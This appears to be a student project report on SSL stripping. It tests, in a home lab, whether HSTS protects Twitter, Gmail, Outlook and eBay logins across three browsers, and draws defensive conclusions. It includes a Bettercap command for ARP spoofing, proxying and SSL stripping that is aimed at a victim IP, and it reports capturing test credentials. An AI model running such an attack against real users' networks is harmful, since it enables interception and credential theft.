Before we discuss about SSL Stripping, let us first understand what SSL is and why is it required? SSL is the acronym for Secure Sockets Layer and is the most widely used security protocol to establish a secure communication between two computer machines (the client and the server) over an insecure network such as the internet [51]. The primary facets of SSL for establishing a secure communication are encryption and authentication. Encryption refers to hiding what is sent from one computer to the other and authentication deals with making sure that the two machines that are talking trust each other. SSL Protocol is a tunnel which is used by HTTP and HTTPS, the well-known application layer protocols, to transfer and receive the data between the web browser and the web server [51,52].   
SSL stripping is a kind of Man-in-the-middle attack where a malicious attacker comes in between the client and the server and tries to modify the secured communication established between the two machines. This is also referred to as SSL Downgrade Attack, wherein the security imposed by a SSL certificate on HTTPS-enabled websites is detoured and downgraded to less secure HTTP communication. This kind of attack is prevalent in open and non-secure network connections like Wi-Fi hotspots [53,54]. 



[bookmark: _Toc7614093]4.2 The Problem

Despite the enhanced security provided by SSL protocol, the internet users are highly vulnerable to SSL stripping attack owing to the following primary reasons:
· Unaware users connecting to public Wi-Fi and spurious Wi-Fi connections established by attackers 
· Website owners maintaining both, non-secure (HTTP) and secure (HTTPS) versions of their webs site and its portals. 
· SSL stripping rescuers – HSTS and HSTS preload, either not implemented by majority of websites or not properly configured helping the attacker to compromise the web browsers.
· Web browsers detecting SSL stripping but still allowing the user to continue browsing even when the security is compromised
· Web browsers still accepting forged certificates even when not signed by trusted certificate issuing authority.
[bookmark: _Toc7614094]4.3 The Solution – Lab Testing

The SSL/TLS cryptographic protocol is exposed to numerous vulnerabilities and attacks. In order to cater to this menace, we are going to set up a lab to test the various websites HSTS implementations and will also propose novel solutions aimed at enhancing secure communication between the client and the server for combatting this threat. Through this lab, we will deep-dive into these attacks by simulating a few of them against different HSTS implementation and also against four major browsers through Bettercap tool.  This will help us not only to understand the behaviour of these web browsers against these attacks but will also be able to deduce corrective actions. The goal of these tests will be to ensure that unencrypted communication is not allowed on the website. 
The following tests will be performed for a better understanding of the problem and its solution:
1. Test correctly configured HSTS websites and HSTS statues or lists pre-loaded in the browser. 
2. Test websites where HSTS is not implemented correctly
3. Test websites that do not have HSTS configured at all.

[bookmark: _Toc7614095]4.4 Design

[image: ]The author will conduct all tests scenarios using hardware’s, software’s, penetration tools and online tools, on our Lab we have an attacker machine, victim machine and an access point. We assume that the attacker is connected to the same access point as the victim machine, legally or illegally. More description of the above mentioned will be covered on the Hardware and Software section.[bookmark: _Toc7599975]Figure 7 - Design of SSL stripping lab


[bookmark: _Toc7614096]4.4.1 Hardware’s

· The Attacker machine is a HP laptop with Core i5 processor,120 gigabyte HD and Kali Linux OS installed on it.
· The Victim machine is a Dell laptop with core i5 Core processor, 60 gigabyte HD and Windows 10 OS installed on it. 
· Plus-net access point router with fibre optic connection, support: and AES Encryption.
[bookmark: _Toc7614097]4.4.2 Software’s

Kali Linux OS is a Debian –based Linux distribution intended for penetration tester [55]. It contains various pre-installed tolls that are geared toward numerous information security tasks such as computer forensics, penetration testing and reverse engineering.
Bettercap 1.6.2 version is MITM framework installed on the attacker machine.

Mozilla Firefox version 66, internet explorer version 11 and Opera 36 version web browsers are all installed on the victim machines.
Web browsers developer tools plug in are pre-installed on all the browsers at the victim machine. We will use this plugin tool to analyse the HTTP Get and Response packets between the browser and the server.
[bookmark: _Toc7614098]4.4.3 Online tools

· [bookmark: _Hlk6512014]To test HSTS preload web site will use https://hstspreload.org/

[bookmark: _Toc7614099]4.5 Implementation

On the implementation section we will have better understanding on how HSTS should be correctly implemented. We will also see when SSLSTRIP and MITM attack still works, if HSTS was correctly configured, not correctly configured or not configured at all. We will test and observe the different behaviours of the main major three desktop version web browsers as and when facing this type of attack.
 For the purpose of this demonstration, we will have three different test scenarios in order to fulfil our objectives, these test scenarios will be deeply discussed on the testing scenario section to follow. All tests scenarios attack will be conducted using the Bettercap tool without using any other techniques e.g. DNS spoofing or setting up fake website.  We will first try to hijack the connection between the user and the webserver and redirect all the traffic to the attacker machine, sniff the traffic and the then we will run the Bettercap toll to perform SSL stripping, which include http-proxy, sslstrip and dns server. The author would like to affirm that our main goal is to downgrade the victim connection to the web server from secured HTTPS to insecure HTTP connection and try to capture the victim credentials, and observe the web browsers behaviours.
[bookmark: _Toc7614100]4.6 Testing

The author will carry this test using the MITM tool latest Bettercap 1.9.2v against different categories of web sites. We should note that all the websites that we are going to test are using the HTTPS, but their HSTS implementations vary. From the victim machine, we will access each website under each test scenario with three different web browsers and observe their behaviours during this attack.  
[bookmark: _Toc7614101]4.6.1 Testing Scenario 1 

The first set of tests will be on websites that have the HSTS properly configured and their website preloaded into the browser. The test website under this category are: 
· Twitter.com
· gmail.com
[bookmark: _Toc7614102]4.6.2 Testing Scenario 2

[bookmark: _Hlk6511523]The second set of tests will be on a website that has HSTS properly configured but the HSTS status not preloaded into the browser. The test website under this category is: 
· Outlook.com
[bookmark: _Toc7614103]4.6.3 Testing Scenario 3

The third set of tests will be on website that are not using HSTS at all, even if they are configured to redirect the connection to HTTPS. The tested website under this category is:
· ebay.co.uk
[bookmark: _Toc7614104]4.7 Bettercap Setup

The installation of Bettercap flavours of Linux will require little more time as one has to download and install all the necessary dependencies before we are able to run Bettercap tool.
The fallowing commands were executed on Kali Linux terminal in order to install the Bettercap tool.
· [image: ]sudo apt-get install build-essential ruby-dev libpcap-dev[bookmark: _Toc7599976]Figure 8- Bettercap Installation

· [image: ]gem install bettercap[bookmark: _Toc7599977]Figure 9 - Gem Bettercap Installation

[image: C:\Users\s152058\Desktop\Screenshot from 2019-04-25 18-34-37.png][image: ][bookmark: _Toc7599978]Figure 10 - Bettercap update
[bookmark: _Toc7599979]Figure 11 – Bettercap version 





[bookmark: _Toc7614105]4.8 Testing steps and observations              
We will first start the Bettercap Nmap tool to scan the whole network and note the victim IP address.
The second step, we will fire the Bettercap to perform the following attacks:
· ARP spoofing
· Sniffing
· Proxy interception
· SSL Stripping
At this point, on the attacker machine we should be able observe all traffics of the victim coming via Kali Linux terminal. 
On the victim machine, we will try to access each web site that has been pre categorised under each test scenario using Firefox, Internet explorer and Opera web browsers and go to the login page for each website and type bogus credential. We will record the tests results for every browser mentioned above based on success, no success or partially success.
On the victim machine we should observe the browsers behaviour and expect one of the following actions:
· Detecting the SSL stripping attack and cutting off the TCP connection and displaying a warning message to the victim without given an option to the victim to proceed any further and the reason for the cutting off connection.
· Detecting the SSL stripping attack and displaying a warning message to the victim, but still gives an option to victim to proceed further insecurely.
· Detecting the SSL stripping domain redirect and give the victim an option to click on the new domain name with an extra W as for example wwww.example.com.
· Redirecting the victim to the unsecured HTTP connection without given the user any warning message, apart from the disappearance of the green padlock and an extra  W on the domain name e.g. on the address URL.
On the victim machine we will use the browser developer tool plugin to observe the HTTP Get and Response packet header, HTTP directive status and the strict transport-security (HSTS) directive in the response header. We should note that the HSTS directive header would be varied from web site to the other, and that is depend on the HSTS implementation that have been implemented on the websites or not implemented at all. The author will discuss them in more details on the scenario test section to follow.   
On the attacker machine we will observe the traffic that are coming through, and see if the SSL stripping success or not, if success we should see the victim credential in plain text, these results will be recorded using screen shots under every test scenario.









[bookmark: _Toc530555452][bookmark: _Toc7614106]4.8.1 Implementation of teste scenario 1

The first category of the websites are HSTS correctly implemented and their HSTS statues are preloaded into the browser:
· gmail.com
· Twitter.com

 We will first check their HSTS status via the following website:
· [image: ][image: ]https://hstspreload.org. [bookmark: _Toc7599980]Figure 12 - HSTS preload tests on Gmail and Twitter







After we performed the HSTS testing for the web sites under scenario one as showing on 
figure 12, we can observe that both websites are correctly HSTS configured and preloaded into the browser.
[image: ] Before we perform the MITM SSL stripping attack we will also perform a second pre-test for the above-mentioned web sites to check their HSTS implementation based on Get and Response header as showing on figure 13 and figure 14. For this test we used the browser developer toll plugin.[bookmark: _Toc7599981]Figure 13 - Gmail HSTS directive status




[image: ]After completing the second pre-tests for the website under scenario one, we have observed as showing on figure 12 that both websites are HSTS correctly configured and preloaded into browser all their first access are over https not http. We also observed that both websites are correctly HSTS directive configured and the HSTS max-age is included within the response header as highlighted on figure 13 and figure 14.[bookmark: _Toc7599982]Figure 14 - Twitter HSTS directive status

The author will now demonstrate the SSL stripping attack on the websites that are specified under scenario one, we will first run the Bettercap tool to scan the network in order to choose our target. The author would like to note that the target IP address (victim machine IP address) will be the same throughout all the testing scenarios.

[image: ][bookmark: _Toc7599983]Figure 15- network scan

After completing the network scan as showing on figure 15 our target (victim) would be the Dell laptop with an IP address of 192.168.1.69.
We will now run the Bettercap tool to do the SSL stripping attack against the first website, in this case it will be Twitter.com. On the Kali Linux terminal, we will fire Bettercap tool with the following command: “bettercap –X –T 192.168.1.69 –proxy –proxy-https”. As showing on figure 16.
The author would like to note that the modules fired-up using this command are, spoofing, sniffer, http-proxy and sslstrip, and the same test will be run on every test scenario. 
At this point we will start to notice the TCP traffic coming through the attacker terminal as soon as the victim try access the internet.[image: ][bookmark: _Toc7599984]Figure 16- SSL stripping attack start

On the victim machine we will clear the browsing history, cache and offline data on the under-test web browsers, which are in this case Firefox, Internet explorer and Opera web browsers. This will clear any previous connection e.g. session ID’s that the browser might have stored in its cache. The author would like to note that the test results for every browser and web site will be based on successful, partially successful or not successful bases. These results will be recorded on tables after each test scenario. For the attack to be fully successful, victim credential should be appearing in plain text on the attacker machine terminal.
[image: ]Our first test will be using the Firefox 66 desktop version web browser and from the victim machine will try connect to Twitter.com and go to the login page to enter bogus user credentials. At the victim machine we will use the browser developer tool to observe the HTTP Get and Respond packets headers, HSTS redirect and whether there is HSTS max-age is included within the header. We will also observe the browser behaviour during this attack.[bookmark: _Toc7599985]Figure 17- Firefox accessing twitter

As showing on figure 17, the victim tried to access twitter.com using Firefox version 66 web browser, but the connection gets-cut-off with a warning message given by the bowser to the victim for the reason of the disconnection. As stated on the warning message, that the browser is HSTS aware and the website the victim trying to connect to can only be accessed only over HTTPS connection. The reason for this message is that the browser detected the http only redirect that happening at the background by the Bettercap SSL stripping module. We also noticed the on the browser development tool that there are not any HSTS get and Response header at all or any other packet header as highlighted on figure 17, result the browser detected the attack.
The We will repeat the same testing procedure on the next two browsers. The next test browser is the Internet explorer version 11 desktop version.
[image: ][image: ]Even though twitter.com is correctly configured and preloaded to the browser, accessing the website login page using Internet explorer as showing on figure 18 was successful, and at the attacker terminal we managed to capture the user credential as showing on figure 19. We can easily observer on the browser developer tool the HTTP get is connected over unsecured http and not https and also noticed the extra W on the URL and showed as wwww.twiiter.com.  at the analysis section we will deeply discuss the reasons behind this.[bookmark: _Toc7599986]Figure 18- Internet explorer Twitter.com access
[bookmark: _Toc7599987]Figure 19- Bettercap capturing user credentials


[image: ][image: ]The next browser under test is Opera 35 desktop version again connection to trwitter.com using Opera browser was compromised and the victim credential also captured as showing on figures 20 and 21. Some of the test results above looks warrying, especially against a well HSTS configured and browser preloaded websites, but again the author will discuss the reason behind this on the analysis section.[bookmark: _Toc7599988]Figure 20- Twiiter.com. accessed by Opera

[bookmark: _Toc7599989]Figure 21- User credentials captured


We will now repeat the same test procedure on the second website which is going to be www.gmail.com.  From the victim machine, we will try to access gmail.com, and record the results using the screen shots.
[bookmark: _GoBack][image: ][image: C:\Users\s152058\Desktop\testscreenshot\firefox-gmail.PNG]Firefox disconnected the connection to gmail.com with a displaying message stating that this website can only be accessed using HTTPS not HTTP as showing on figure 22, so browser detected the downgrading attack, so test failed. [bookmark: _Toc7599990]Figure 23 - Internet explorer accessing gmail.com
[bookmark: _Toc7599991]Figure 22 - Firefox disconnect Gmail test

We will now try to access gmail.com using Internet explorer and again record the result on screen shots.
[image: ]Again accessing gmail.com using internet Explorer was not successful, the browser detected the downgrading attack and disconnects the connection completely as showing on figure 23. The browser connected the using the https not http.  The third browser we will test is Opera.[bookmark: _Toc7599992]Figure 24-aceessing gmail.com using opera

As showing on figure 24, accessing Gmail using opera web browser failed. The browser detected the downgrading attack by cutting off the TCP connection completely.
Test results for test scenario one is recorded on Table 3.
[bookmark: _Toc7596071]Table 3- scenario 1 web browsers test results
	
	Internet Explorer
	Firefox
	Opera

	Twitter.com
	Success
	Failed
	Success

	Gmail.com
	Failed
	Failed
	Failed


[bookmark: _Toc7614107]4.8.2 Implementation of teste scenario 2

Web sites under this test scenario are HSTS configured, but HSTS is not correctly implemented.
Web sites under this scenario are: 
· outlook.com
[image: ]We will first do the pre-test on the website before we run the SSL stripping attack tools. We will check the websites HSTS status and HSTS directive.[bookmark: _Toc7599993]Figure 25-outlook.com HSTS status


As showing on figure 26 the website first directive is over http and a second directive is over https, we will observe this on the second pre-test. The website is also not HSTS preloaded into the browser as highlighted also on figure 25.

[image: ]The second pre-test for websites under teste scenario two is, how each website loaded into the browser by checking the Get and response headers. We will first clean the whole browser history, cache, cookies and browsing history and then we will launch the browser developer tool plugin network tab.[bookmark: _Toc7599994]Figure 26 - outlook.com. second HSTS directive
[bookmark: _Toc7599995]Figure 27 - outlook.com HSTS first directive

[image: ]
After examining the HSTS directive for the websites under our scenario test two, we can observe that there were two http directive for the website as showing on figures 26,27.
The first directive is over http only and the second directive is over https. We also can notice that on figures 26 the disappearance of the HSTS max-age headers within the response directive header, but on the second directive (https directive) as showing on figure 27 the max-age was included within the response header. 
After completing the website pre-test, on the attacker machine we will fire up the SSL stripping attack as we did for test scenario one. On the victim machine we will test the three web browsers that been mentioned above against the web site, the results will be recorded using screen shots and results table. The first web browser under test now is the Firefox web browser desktop version.
Test result is the browser disconnected the connection as showing on figure 28, a warning message been displayed stating the reason for the disconnection, note here the browser didn’t give the victim an option to proceed any further.[bookmark: _Toc7599996]Figure 28 – outlook.com Firefox connection

[image: ]More discussion of the results will be discussed by the author on the analysis section to follow.
[image: ][image: ]The second browser under test now is the Internet explorer, we will try to access outlook.com and observe the results.[bookmark: _Toc7599997]Figure 29- Internet Explorer accessed outlook.com

 [bookmark: _Toc7599998]Figure 30- User credentials captured



After  completeing the test we can canclude that the Internet Explore web browser gaind access to the outlook.com managed to get into the login screen. On the browser developer tool (network tab) on figure 29, we can observe that there is only one single connection to the outlook.com and it was through http only not https ansd that also shows on the URL. We also observed missing max-age from the reponse header within the responce header.
On figure 30 we can observe the victim bogus user name and password in clear text. More discussion about this test will be on the analysis section to follow.
The next tested browser is the Opera, again we will using this browser we will try to acceess outlook.com and we will observe the results.
[image: ][bookmark: _Toc7599999]Figure 31 - Opera accessing outlook.com


[image: ][bookmark: _Toc7600000]Figure 32- Bettercap outloo.com loop

Test result, we can observe from figure 31 the attack partially success as we can simply be looking at the URL, connection was over http only and we can notice an extra W as wwww.outlook.com, so the SSL stripping tool managed to downgrade the connection from secured https to insecure http, but after that, it went into a loop as we can see on figure 32 and then browser disconnect the connection for taking too long to connect to the web page.
[bookmark: _Toc7596072]Table 4- Browsers vs outlook.com
	
	Firefox
	Internet Explorer
	Opera

	Outlook.com
	Not success
	success
	Partially success






[bookmark: _Toc7614108]4.8.3 Implementation of teste scenario 3

The Test scenario three will on a website that use https, but doesn’t have HSTS at all.
[image: ]The website under this category is ebay.co.uk. We will first perform a pre-test to check website HSTS status and the we will also check the HSTS directive header using web browser developer tool plugin.[bookmark: _Toc7600001]Figure 33 - ebay.co.uk HSTS status


From figure 33 we can observe that this website is not HSTS configure and not preloaded into the browser.
[image: ]We can observe from figure 34 that this website is https and not HSTS configured at all, there are no HSTS max-age included within the response header.[bookmark: _Toc7600002]Figure 34 - ebay.co.uk  directive

 Pre-test is completed on ebay.co.uk, we will now set on the SSL stripping attack on the attacker machine and on the victim machine we will try to access the ebay.co.uk using Firefox desktop web browser and try to access the ebay.co.uk website and observe the results.


[image: ][bookmark: _Toc7600003]Figure 35 - Firefox ebay.co.uk connection compromised

[image: ][bookmark: _Toc7600004]Figure 36 - Victim eBay credentials captured





[image: ][image: ]The nest browser to be tested is Internet explorer, again we will try to access ebay.co.uk using this browser and observe the results.[bookmark: _Toc7600005]Figure 37 - IE connection to eBay compromised

[bookmark: _Toc7600006]Figure 38 - victim eBay credentials captured

[image: ]The result for scenario one tests are concluded on the table 5 below. [bookmark: _Toc7600007]Figure 39 - Opera connection to eBay compromised

[bookmark: _Toc7596073]Table 5- ebay.co.uk Vs web browsers test result
	
	Firefox
	Internet Explorer
	Opera

	Ebay.co.uk
	success
	success
	success









[bookmark: _Toc7614109]4.9 Tests Summery

The websites that are correctly implemented for HSTS and are also preloaded to the browser are immune to SSL stripping attacks or at least what we have been told, so the SSL stripping test for the first test scenario would fail under normal circumstances against correctly HSTS implemented web sites, with the exception on our test scenario one. With the use of Firefox and Internet explorer web browsers connection to twitter.com get compromised by the SSL stripping tool and managed to capture the user credential. The author researched about this odd test results and found that in order for HSTS to work correctly, website and web browser must fulfil the HSTS conditions:
· The first connection must be over HTTPS.
· The browser must be HSTS aware and can read and understand the HSTS directive header.
The author would like to note that twitter.com is HSTS correctly configured and also preloaded into the browser as showing on figures 12 and figure 14 and the browsers we used to connect to the web site are the latest versions which we believe that these browsers are HSTS aware. 
The author would also like to note that, despite the SSL stripping attack success against twitter.com on this occasion, we had numerous of unsuccessful occasion which we believe more research should be carried out on this vulnerability. The author believes as the web browser get better, the attacking tools also get better.  
The websites that are not properly implemented for HSTS are vulnerable to SSL stripping particularly if those websites had not visited before or if the web browser caches and site preference has not been cleared. On our test the SSL stripping fail against the website that had been visited before and succeed after clearing web browser caches and browsing history etc. SSL stripping tool failed when we used the Firefox web browser as showing under the test scenario two and partially succeeded when used the Opera web browser. Partial success is the SSL stripping tools managed to downgrade the connection but went into a loop after that as shown on figures 31,32. Internet explorer connection compromised and then user bogus credential been captured. The rest of tests results can be observed on the screen shots under test scenario two.
The SSL stripping works on against web sites that are not configured with strict transport-
security (HSTS) at all as showing on the screen shots under test scenario three. That was because the website under this category is configure with http over SSL (https) only and not configured with HSTS directive and the first connection obviously was over http only and the SSL stripping tool managed to force the connection to http only and captured all the user bogus credentials.












[bookmark: _Toc7614110]CHAPER 5 – CONCLUSION AND RECOMMENDATIONS
5.1 [bookmark: _Toc7614111]SUMMERY 

In this study, it was established through literature that MITM attacks were very common and needed to be controlled. It is necessary to task website and browser owners to ensure that the websites as well as browsers are secure to use [33]. In this study, an experiment was made to establish the relationship between implementation of HSTS and prevention of MITM attacks. It was established that if HSTS is properly implemented and also preloaded to browser, end users were free from SSL stripping. In a situation where HSTS is properly implemented but not preloaded to the browser, it was established that there was some extent of immunity from SSL attacks but there was vulnerability to other attacks like DNS spoofing. Finally, it was established that when HSTS is not properly implemented end users were exposed to SSL stripping. 

5.2 [bookmark: _Toc7614112]CONCLUSION

In this study, the researcher has looked at SSL stripping attack and the approaches that can be done to mitigate. The researcher tested three different scenarios in order to establish the effectiveness of HSTS implementation in fighting SSL stripping attacks. The author found that there was a perfect situation when HSTS was properly implemented on a website and also preloaded onto browser. However, it was established in the research that there was a need for more research in the area so that other variables that cause MITM attacks can be considered. The researcher established that website owners should ensure that there is an effective HSTS implementation. In the same manner, this should be attached to respective browsers. The recommendations of the study are that there should be proper implementation of HSTS and that there should be more research on the area to establish other variants that can increase vulnerability of end-users to MITM attacks. 
[bookmark: _Toc7614113]5.3 	RECOMMENDATIONS FOR FURTHER RESEARCH

The author would like to recommend that further research should be carried on the HSTS implementation and client web browser security features. Some results on the test lab that we have conducted on this project shows that there are still vulnerabilities especially against web sites that are correctly HSTS configure and preloaded into the browser. This test result contradicts with the fact that says the correctly configured websites and preloaded into the browser are immune the MITM SSL stripping attack and also contradicting with the other fact that says latest version of the web browsers are HSTS aware, the SSL stripping attack managed to downgrade the connection to the website under the above category and the attacker captured the end user bogus credentials. Another more research should be carried out on the HSTS max-age that included with HSTS response header, in black hat conference 2018 a speaker at the conference claiming that he managed to attack the HSTS mag-age header by attacking the NTP protocol, since the max age is relay on the operating system time and n network environment network time protocol (NTP) is responsible to synchronise the time on the machines that connected to the network. The max-age header is a piece of information that included within the HSTS response header, that stored on the browser to force the browser only to connect securely over HTTPS only for certain period of time that set out on the header, the max-age time are in seconds and it can be varied from website to the other depend on the website HSTS implementation.  The author believe this attack is big blow to HSTS integrity.
[bookmark: _Toc7614114]CHAPTER 6 – REFLECTIONS
[bookmark: _Toc7614115]6.1 Reflection statement

Learned and developed:
The author learned more in the cyber security field through reading of other researchers work on this field. Through implementation and observation, the author understands how any individual can easily fall as a victim of MITM and lose their personal credentials also how vital is the network security to stay secured. This knowledge helped the author to achieve the objectives of this project and enriched his academic and technical knowledge on cyber security as a whole. Throughout the implementation experiment, the author came across many MITM attacking and penetration tools and also many vulnerabilities that are there on the cyber. Some of these tools and vulnerabilities have been demonstrated on this project. Many other skills and attribute have been learned and developed in which helped to complete this project.
Project Management-  developed project plan and Gant chart to breakdown the task need to be completed.
Time Management- The author set out tasks in order to be accomplished within strict deadline.
Delivering under pressure- With other course works and busy family life the author found it to be difficult to balance them out at the beginning but managed after a couple of weeks and all tasks accomplished as planned.
Improvising- Knowledge and other skills learned during this project in which the author will surely use them in future tasks. 

Learned lessons: 

· Time management was the biggest task, good time management would ease the works, in order to accomplish the tasks.
· Work documentation and backup is vital task.
· Good communication with the supervisor and other people associated with the project is vital.
Things that could be done differently: 
· Time management again is the biggest strains.
· Collecting material and doing a research a head of the project could make the project easier to be accomplished.
· Arranging meeting with the project supervisor and taken advices is vital.

Barriers experience throughout this project: 
· Hardware and some penetration tools were the biggest challenge when the author start the testing.
· Budget limitation as the author needed to buy an extra laptop for the testing.

Positives: 
· The facilities and the labs at the University building helped to accomplish this project.
· Supervisor motivation, and also advice been taken into account which help to produce good academic work at the end.
Guidance to future students:
Good planning would be a good practice.
Time management is vital.
Deciding the project topic that needs to be agreed with supervisor as early as possible.
Arranging meeting with the supervisors and taken their advice seriously.

Summary
Time management and good planning are the keys for any project, the author would have the time to research the topic deeply and accomplish a professional academic works at the end.
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Please find snapshots of some important elements related to the testing experiments conducted by the author:
[image: ][bookmark: _Toc7600008]Figure 40- Firefox trust certificate chain
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[image: ][bookmark: _Toc7600010]Figure 42- Internet explorer certificate trusted chain











[image: ][bookmark: _Toc7600011]Figure 43- Internet explorer SSL test



[image: ][bookmark: _Toc7600012]Figure 44- Opera certificate trusted authorities
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[bookmark: _Toc7614120]8.3 Project management

In order for any project to succeed there must be good planning. It is unavoidable that difficulties and hurdles will be confronted during the progression of the project, however it is vital to set objectives and deadlines for each stage of the project to help you accomplish each stage within the timeframes that are pre-set.
The project plan as shown on figure 46, illustrates that the project has been divided into three major segments Literature review, design and implementation and the report writing. Then each segment is divided into sub sections, each section has been allocated time in order to accomplish the task.
[image: ][bookmark: _Toc7600014]Figure 46-project plan
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SSL: Secure Sockets Layer. 
TLS: Newer version of SSL.
MITM: Man in the middle attack.
MD5: The MD5 message-digest.
HTTP: Hyper Text Transfer Protocol.
HTTPS: Hyper Text Transfer Protocol over SSL/TLS.
HSTS: HTTP strict transport security.
URL: Uniform resources locator.
IEEE: Institute of Electrical and Electronics Engineers.
IETF: Internet Engineering Task Force. 
TCP/IP: Transmission Control Protocol/Internet Protocol.
HPKP: HTTP Public Key Pinning.
Browser Cookies: is a piece of data sent from a website and stored on the user's computer by the user's web browser.
XSS: Cross-Site Scripting. 
Wi-Fi: the name of a popular wireless networking technology.
Cipher Suites: set of cryptographic algorithms. 
Session ID: A session ID is typically granted to a visitor on their first visit to a site.
SSL handshake: server and client will exchange important information required to establish the secure connection.
CA: Certificate Authority.
HTTP proxy: web address you type in to your company’s proxy server so you can access the internet.
VPN: Virtual Private Network, allows you to create a secure connection to another network over the Interne.
ARP: Address Resolution Protocol.
LAN: Local Area Network.
DoS: denial-of-service attack.
SSH: Secure Shell or Secure Socket Shell.
FTP: File transfer protocol.
SFTP: Secure transfer protocol.
SSL Downgrade: Down grading the TCP connection from secure to non-secure connection.
HTTP GET: HTTP request message to the server.
HTTP RESPONSE: HTTP response message from the server.
WPA2: Encryption used to secure the vast majority of Wi-Fi networks.
PSK: Client side authentication. 
AES: A block cipher is an algorithm.
Bettercap: Penetration used for pen-testers.
ARP: Address resolution protocol.
Sniffing: Packet sniffing allows individuals to capture data as it is transmitted over a network.
DNS: Domain Name.
Kali Linux: Kali Linux is a Debian-based Linux.
Nmap: Network mapper used to scan network.






[bookmark: _Toc7614124]8.8 List of figures
Figure 1- URL redirect status codes	16
Figure 2- SSL/TLS fake certificate warning message	16
Figure 3- SSL handshake procedure [29]	20
Figure 4- SSL/TLS Certificate Chain [30]	21
Figure 5 - -Illustration of SSL interception Proxy	24
Figure 6 - Time line	36
Figure 7 - Design of SSL stripping lab	40
Figure 8- Bettercap Installation	44
Figure 9 - Gem bettercap Installation	44
Figure 10 - bettercap update	45
Figure 11 – bettercap version	45
Figure 12 - HSTS preload tests on Gmail and Twitter	48
Figure 13 - Gmail HSTS directive status	49
Figure 14 - Twitter HSTS directive status	50
Figure 15- network scan	51
Figure 16- SSL stripping attack start	52
Figure 17- Firefox accessing twitter	53
Figure 18- Internet explorer Twitter.com access	54
Figure 19- Bettercap capturing user credentials	54
Figure 20- Twiiter.com. accessed by Opera	55
Figure 21- User credentials captured	55
Figure 23 - Internet explorer accessing gmail.com	56
Figure 22 - Firefox disconnect Gmail test	56
Figure 24-aceessing gmail.com using opera	57
Figure 25-outlook.com HSTS status	58
Figure 26 - outlook.com. second HSTS directive	59
Figure 27 - outlook.com HSTS first directive	59
Figure 28 – outlook.com Firefox connection	60
Figure 29- Internet Explorer accessed outlook.com	61
Figure 30- User credentials captured	61
Figure 31 - Opera accessing outlook.com	62
Figure 32- bettercap outloo.com loop	63
Figure 33 - ebay.co.uk HSTS status	64
Figure 34 - ebay.co.uk  directive	65
Figure 35 - Firefox ebay.co.uk connection compromised	66
Figure 36 - Victim eBay credentials captured	66
Figure 37 - IE connection to eBay compromised	67
Figure 38 - victim eBay credentials captured	67
Figure 39 - Opera connection to eBay compromised	68
Figure 40- Firefox trust certificate chain	81
Figure 41- Firefox SSL test	82
Figure 42- Internet explorer certificate trusted chain	83
Figure 43- Internet explorer SSL test	84
Figure 44- Opera certificate trusted authorities	85
Figure 45- Opera SSL test	86
Figure 46-project plan	87



[bookmark: _Toc7614125]8.9 List of tables
Table 1 - SSL structure	18
Table 2- Data collection methods	35
Table 3- scenario 1 web browsers test results	58
Table 4- Browsers vs outlook.com	64
Table 5- ebay.co.uk Vs web browsers test result	69






Start date	Research concept (topic)	Writing research proposal 	liturature review	Experiment and data collection 	Data analysis	Writing Research results and discussion 	Conclusing the project 	Project revision 	Project submision 	43497	43504	43506	43541	43549	43558	43570	43558	43577	Duration	Research concept (topic)	Writing research proposal 	liturature review	Experiment and data collection 	Data analysis	Writing Research results and discussion 	Conclusing the project 	Project revision 	Project submision 	7	20	34	7	7	11	3	18	6	


59

image3.PNG
 REST senvices the correct sage of the correct HTTP

1xx— Informational | 2xx~ Successful | 3xx— Redirection | 4xx~ Client Error

atus code in a response s vital

Sxx— Server Error

T cassof saus code Thiscassof satus code Thscassof satus code
indctes 3 provisions indcate thtthe chents | indcate hat frther cton
respons, conssingonyof | requestwassuccessflly | needs o b aken by e user
the Satus Linend opionsl | receve, understood,and | agentin oder ol he
headers,and s tormiated by | acepted request

anemptyne

The dxcassof status o
intended forcaseinwiich the
Chon seemsto have rrd.

Responsestatus codes
begoning wihthe i "5
indete cosesin whihthe
serveriawarethatthas
arredor i ncapableof
peforming he request

100~ Continue 200-0x 300 Muhiple Chaces
101-SwichingProtocss | 201-Created 301 Moved Permanenty
102_processing 202-Accepted 302_round

203 NowAuthorttve | 303 sawOthar
nformation 304 ok Modifed
204 No Content 303 UsaProxy
205_ResetComtent 307~ Tmparary Redirect

Examples of using HTTP Status Codes in REST

201 When doing POST o ceae v resourceits bt o return 2010 nt 200
204 Wihen dltin a resource i est 60 204, whichndicte t sccseded bt
thereis nobody o retun

30113 301 eturnthe lent shold update any cached R 10 oint 1 the w URL.
302 Thisis often usd for temporaryredirct's, hovievr 30330307 rebtr chsces.
409 This prvides  greet way o sl ith cofics cavsd by e updates

501 Thismpis that the feture wil b implemented i the uture.

Special Cases

306 T ot code s noongerusd. 1 used 1 b or s prony:
18 This status code from RFC 2324 HoweverREC 2324 wasubmiied 3 n Apd Foos
ok, The messagls o teopot

R ok s repcamar o SOAF o+ b

300 sad Request
201 - Unauthorsed

402~ Payment Required
203_rorbidden

204 NotFound

205 _Method Not Allowed
206 Not Acceptable

407 proxy Authentcation
Reauied

408 RequestTimeout

09 _conft

410 gone

11~ LongihRqured

412 precondionraied
413 RequestEntiy oolarge
414 Request URITo Long.
415 Unsupparted edia
e

416~ Requested Range Not
Setsable

17~ Expecationalled
22 Unprocessabe Entty
23 tocma

424 FaledDependency
025 _Unordered ollction
426 Upgrade Recuired

500- el servr Errr
501~ Hot mplemented
502- 8ad Gatewny

503 Servce Unoviable
504~ Gateway Tmout
505 HTTP Versontiot

Supported
506 Varant AloNegotntes
507 nuffciont torage

ot ——"

Key | Description
Block | HTTP version 10
Bue | TP verson 1.1
e
Orange | ExtnsionRrC2817
Red | EmensionRrCasts





image4.PNG
o|E6] &
SstError x

€ 5 C [ B s /jwwmacebookcom

The site's security certificate is not
trusted

You attempted to reach www.facebook.com, but the server presented a

certficate issued by an entity that is not trusted by your computer's operating
system. This mey mean that The Srver b

FFios generated its own securty
credentials, which Gaogle Chrome cannot rely on for identity information, or an
attacker may be trying to intercept your communications.

You should not proceed, especially if you have never seen this warning before
for this ste.

Proceed anyway | Backto safet

»





image5.png
SSL Client

(3)
Verify server
certificate.
Check
cryptographic
parameters

(1) "client hello”

Cryptographic information

(2) "server hello”

CipherSuite
Server certificate
*dlient certificate request® (optional)

(4) Client key exchange

Send secret key information
(encrypted with server public key)
(5) Send dient certificate

(7) Client *finished”
(8) Server “finished”

(9) Exchange messages

(encrypted with shared secret key)

SSL Server

(6)
Verify client
certificate
(if required)





image6.png
Owner's DN

Owner's public key

Issuer's (CA) DN Get certificate
Issuers (CA) signature

